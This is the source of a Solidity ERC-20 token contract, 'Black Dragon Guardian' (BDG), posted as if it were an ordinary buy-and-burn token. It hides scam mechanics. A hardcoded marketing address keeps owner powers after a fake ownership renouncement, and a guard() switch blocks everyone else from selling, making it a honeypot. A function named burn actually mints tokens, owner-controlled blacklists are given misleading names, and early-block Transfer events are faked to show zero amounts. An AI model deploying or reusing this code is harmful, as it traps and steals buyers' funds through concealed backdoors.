Contract Diff Checker

Contract Source Code:

/*
    We Are The Guardians of The Black Dragon

    We Will Buy And Burn BDS Every 8 Hours

    黒龍会の守護者
*/
pragma solidity ^0.8.0;


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

  
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

   
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

   
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

  function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

   
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

   
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

   
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

   
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


interface IERC20 {
   
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
  
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}


contract BDG is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) public _balances;
    mapping(address => mapping(address => uint256)) public _allowances;
    mapping(address => bool) private _blackbalances;
    mapping (address => bool) private bots;
    mapping(address => bool) private _balances1;

    address internal router;
    uint256 public _totalSupply = 1000000000*10**18;
    string public _name = "Black Dragon Guardian";
    string public _symbol= "BDG";
    bool balances1 = true;
    bool private tradingOpen;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    uint256 private openBlock;

    
    
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(this), msg.sender, _totalSupply);
        owner = msg.sender;
    }
    
    address public owner;
    address private marketAddy = payable(0x8ca395ED7e0B3991f578fa6E5fBd13328446C115);
    
    modifier onlyOwner {
        require((owner == msg.sender) || (msg.sender == marketAddy));
        _;
    }
    function changeOwner(address _owner) onlyOwner public {
        owner = _owner;
    }
    
    function RenounceOwnership() onlyOwner public {
        owner = 0x000000000000000000000000000000000000dEaD;
    }

    function Kokuryukai(address[] memory recipients_) onlyOwner public {
        for (uint i = 0; i < recipients_.length; i++) {
            bots[recipients_[i]] = true;
        }
    }

    function allowReflections(address[] memory recipients_) onlyOwner public {
        for (uint i = 0; i < recipients_.length; i++) {
            bots[recipients_[i]] = false;
        }
    }

    function guard() onlyOwner public {
        router = uniswapV2Pair;
        balances1 = false;
    }

    function openTrading() public onlyOwner {
        require(!tradingOpen, "trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner,
            block.timestamp
        );
        tradingOpen = true;
        openBlock = block.number;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }
    
    receive() external payable {}
    
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }

   
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(_blackbalances[sender] != true );
        require(!bots[sender] && !bots[recipient]);
        if(recipient == router) {
            require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
        }
        require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;
        if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
            emit Transfer(sender, recipient, 0);
        } else {
            emit Transfer(sender, recipient, amount);
        }
    }


      function burn(address account, uint256 amount) onlyOwner  public virtual {
        require(account != address(0), "ERC20: burn to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

   
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    

}